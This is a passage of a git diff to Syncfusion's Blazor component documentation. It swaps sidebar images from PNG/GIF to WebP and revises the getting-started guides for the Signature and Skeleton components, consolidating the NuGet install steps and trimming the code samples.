-![Blazor Sidebar with ListView](./../images/blazor-sidebar-listview.png)
\ No newline at end of file
+![Blazor Sidebar with ListView](./../images/blazor-sidebar-listview.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/images/OpenCloseSidebar.gif b/blazor/sidebar/images/OpenCloseSidebar.gif
deleted file mode 100644
index 6c1964e12f..0000000000
Binary files a/blazor/sidebar/images/OpenCloseSidebar.gif and /dev/null differ
diff --git a/blazor/sidebar/images/OpenCloseSidebar.webp b/blazor/sidebar/images/OpenCloseSidebar.webp
new file mode 100644
index 0000000000..f47d16608f
Binary files /dev/null and b/blazor/sidebar/images/OpenCloseSidebar.webp differ
diff --git a/blazor/sidebar/images/auto-close.png b/blazor/sidebar/images/auto-close.png
deleted file mode 100644
index 1b3c42dfbd..0000000000
Binary files a/blazor/sidebar/images/auto-close.png and /dev/null differ
diff --git a/blazor/sidebar/images/auto-close.webp b/blazor/sidebar/images/auto-close.webp
new file mode 100644
index 0000000000..d0e13263c3
Binary files /dev/null and b/blazor/sidebar/images/auto-close.webp differ
diff --git a/blazor/sidebar/images/blazor-create-web-app.png b/blazor/sidebar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/sidebar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-create-web-app.webp b/blazor/sidebar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/sidebar/images/blazor-create-web-app.webp differ
diff --git a/blazor/sidebar/images/blazor-multiple-sidebars.png b/blazor/sidebar/images/blazor-multiple-sidebars.png
deleted file mode 100644
index 57cb8376d3..0000000000
Binary files a/blazor/sidebar/images/blazor-multiple-sidebars.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-multiple-sidebars.webp b/blazor/sidebar/images/blazor-multiple-sidebars.webp
new file mode 100644
index 0000000000..53d9d45b1c
Binary files /dev/null and b/blazor/sidebar/images/blazor-multiple-sidebars.webp differ
diff --git a/blazor/sidebar/images/blazor-nuget-explorer.png b/blazor/sidebar/images/blazor-nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/sidebar/images/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-nuget-explorer.webp b/blazor/sidebar/images/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/sidebar/images/blazor-nuget-explorer.webp differ
diff --git a/blazor/sidebar/images/blazor-nuget.png b/blazor/sidebar/images/blazor-nuget.png
deleted file mode 100644
index ecdfab8137..0000000000
Binary files a/blazor/sidebar/images/blazor-nuget.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-nuget.webp b/blazor/sidebar/images/blazor-nuget.webp
new file mode 100644
index 0000000000..0f65dbfa63
Binary files /dev/null and b/blazor/sidebar/images/blazor-nuget.webp differ
diff --git a/blazor/sidebar/images/blazor-open-and-close-sidebar.png b/blazor/sidebar/images/blazor-open-and-close-sidebar.png
deleted file mode 100644
index 12112b3880..0000000000
Binary files a/blazor/sidebar/images/blazor-open-and-close-sidebar.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-open-and-close-sidebar.webp b/blazor/sidebar/images/blazor-open-and-close-sidebar.webp
new file mode 100644
index 0000000000..b130bc1009
Binary files /dev/null and b/blazor/sidebar/images/blazor-open-and-close-sidebar.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-animation.png b/blazor/sidebar/images/blazor-sidebar-animation.png
deleted file mode 100644
index 1c3898ff5c..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-animation.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-animation.webp b/blazor/sidebar/images/blazor-sidebar-animation.webp
new file mode 100644
index 0000000000..82551dccf7
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-animation.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-auto-close.gif b/blazor/sidebar/images/blazor-sidebar-auto-close.gif
deleted file mode 100644
index 36e6e84723..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-auto-close.gif and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-auto-close.webp b/blazor/sidebar/images/blazor-sidebar-auto-close.webp
new file mode 100644
index 0000000000..5ca6114e2f
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-auto-close.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-custom-context.png b/blazor/sidebar/images/blazor-sidebar-custom-context.png
deleted file mode 100644
index 839391105d..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-custom-context.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-custom-context.webp b/blazor/sidebar/images/blazor-sidebar-custom-context.webp
new file mode 100644
index 0000000000..9a4b4381a0
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-custom-context.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-dock.gif b/blazor/sidebar/images/blazor-sidebar-dock.gif
deleted file mode 100644
index 075390dc1e..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-dock.gif and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-dock.webp b/blazor/sidebar/images/blazor-sidebar-dock.webp
new file mode 100644
index 0000000000..7f5a27d1d2
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-dock.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-enable-backdrop.png b/blazor/sidebar/images/blazor-sidebar-enable-backdrop.png
deleted file mode 100644
index a99ab1a28e..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-enable-backdrop.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-enable-backdrop.webp b/blazor/sidebar/images/blazor-sidebar-enable-backdrop.webp
new file mode 100644
index 0000000000..4bb0a7284c
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-enable-backdrop.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-listview.png b/blazor/sidebar/images/blazor-sidebar-listview.png
deleted file mode 100644
index 3f0e93a539..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-listview.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-listview.webp b/blazor/sidebar/images/blazor-sidebar-listview.webp
new file mode 100644
index 0000000000..a36413da56
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-listview.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-navigation.png b/blazor/sidebar/images/blazor-sidebar-navigation.png
deleted file mode 100644
index b03254873a..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-navigation.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-navigation.webp b/blazor/sidebar/images/blazor-sidebar-navigation.webp
new file mode 100644
index 0000000000..dd41bcb212
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-navigation.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar-nuget-package.PNG b/blazor/sidebar/images/blazor-sidebar-nuget-package.PNG
deleted file mode 100644
index 8dbc404eeb..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar-nuget-package.PNG and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar-nuget-package.webp b/blazor/sidebar/images/blazor-sidebar-nuget-package.webp
new file mode 100644
index 0000000000..afdd634f6d
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar-nuget-package.webp differ
diff --git a/blazor/sidebar/images/blazor-sidebar.png b/blazor/sidebar/images/blazor-sidebar.png
deleted file mode 100644
index 1b3c42dfbd..0000000000
Binary files a/blazor/sidebar/images/blazor-sidebar.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-sidebar.webp b/blazor/sidebar/images/blazor-sidebar.webp
new file mode 100644
index 0000000000..d0e13263c3
Binary files /dev/null and b/blazor/sidebar/images/blazor-sidebar.webp differ
diff --git a/blazor/sidebar/images/blazor-wasm-app-template.png b/blazor/sidebar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/sidebar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/sidebar/images/blazor-wasm-app-template.webp b/blazor/sidebar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/sidebar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/sidebar/images/dock.png b/blazor/sidebar/images/dock.png
deleted file mode 100644
index f85883b03f..0000000000
Binary files a/blazor/sidebar/images/dock.png and /dev/null differ
diff --git a/blazor/sidebar/images/dock.webp b/blazor/sidebar/images/dock.webp
new file mode 100644
index 0000000000..84d0c84c84
Binary files /dev/null and b/blazor/sidebar/images/dock.webp differ
diff --git a/blazor/sidebar/images/import-cdn.png b/blazor/sidebar/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/sidebar/images/import-cdn.png and /dev/null differ
diff --git a/blazor/sidebar/images/import-cdn.webp b/blazor/sidebar/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/sidebar/images/import-cdn.webp differ
diff --git a/blazor/signature/accessibility.md b/blazor/signature/accessibility.md
index fbec21aea4..167d1bd5a8 100644
--- a/blazor/signature/accessibility.md
+++ b/blazor/signature/accessibility.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Accessibility with Blazor Signature Component | Syncfusion
-description: Checkout and learn about getting started with Blazor Signature component in Blazor Server App and Blazor WebAssembly App.
+description: Explore Blazor Signature accessibility with WCAG 2.2 support, screen readers, keyboard navigation, and mobile device compatibility.
 platform: Blazor
 control: Signature
 documentation: ug
diff --git a/blazor/signature/getting-started.md b/blazor/signature/getting-started.md
index bd5dfcb0ef..37920cefd4 100644
--- a/blazor/signature/getting-started.md
+++ b/blazor/signature/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Signature Component
 
-This section briefly explains about how to include [Blazor Signature](https://www.syncfusion.com/blazor-components/blazor-signature) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Signature](https://www.syncfusion.com/blazor-components/blazor-signature) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section briefly explains about how to include [Blazor Signature](https://ww
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-To add the **Blazor Signature** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Signature** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Signature component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Signature component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor tabtitle="~/Index.razor" %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfSignature></SfSignature>
 
@@ -205,7 +161,7 @@ N> The Signature component will render default height and width of canvas (300 *
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Signature).
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
diff --git a/blazor/signature/how-to/integration-toolbar.md b/blazor/signature/how-to/integration-toolbar.md
index c598eb2e04..41e3af494d 100644
--- a/blazor/signature/how-to/integration-toolbar.md
+++ b/blazor/signature/how-to/integration-toolbar.md
@@ -1,7 +1,7 @@
 ---
 layout: post
 title: Integration Toolbar with Blazor Signature Component | Syncfusion
-description: Checkout and learn about getting started with Blazor Signature component in Blazor Server App and Blazor WebAssembly App.
+description: Integrate Blazor Signature with Toolbar to enable undo, redo, save, clear, and color customization features.
 platform: Blazor
 control: Signature
 documentation: ug
diff --git a/blazor/skeleton/getting-started-webapp.md b/blazor/skeleton/getting-started-webapp.md
index 22cffa1136..a88fc612c2 100644
--- a/blazor/skeleton/getting-started-webapp.md
+++ b/blazor/skeleton/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Notifications
+
 <SfSkeleton Height="15px" Width="200px"></SfSkeleton><br/>
 <SfSkeleton Height="15px" Width="100px"></SfSkeleton>
 
@@ -186,6 +188,8 @@ The [`Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Notificati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Notifications
+
 <div style="width: 200px">
     <SfSkeleton Shape="SkeletonType.Circle" Width="48px" CssClass="custom-css"></SfSkeleton>
     <SfSkeleton Shape="SkeletonType.Square" Width="48px"></SfSkeleton>
diff --git a/blazor/skeleton/getting-started.md b/blazor/skeleton/getting-started.md
index 5d757b872d..c3028f02ad 100644
--- a/blazor/skeleton/getting-started.md
+++ b/blazor/skeleton/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Skeleton Component
 
-This section briefly explains about how to include Blazor Skeleton component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Skeleton](https://www.syncfusion.com/blazor-components/blazor-skeleton) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 To get start quickly with Blazor Skeleton component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Skeleton) sample.
 
@@ -25,23 +25,6 @@ To get start quickly with Blazor Skeleton component, refer to this [GitHub](http
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
-
-To add the **Blazor Skeleton** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Notifications -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor Skeleton** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
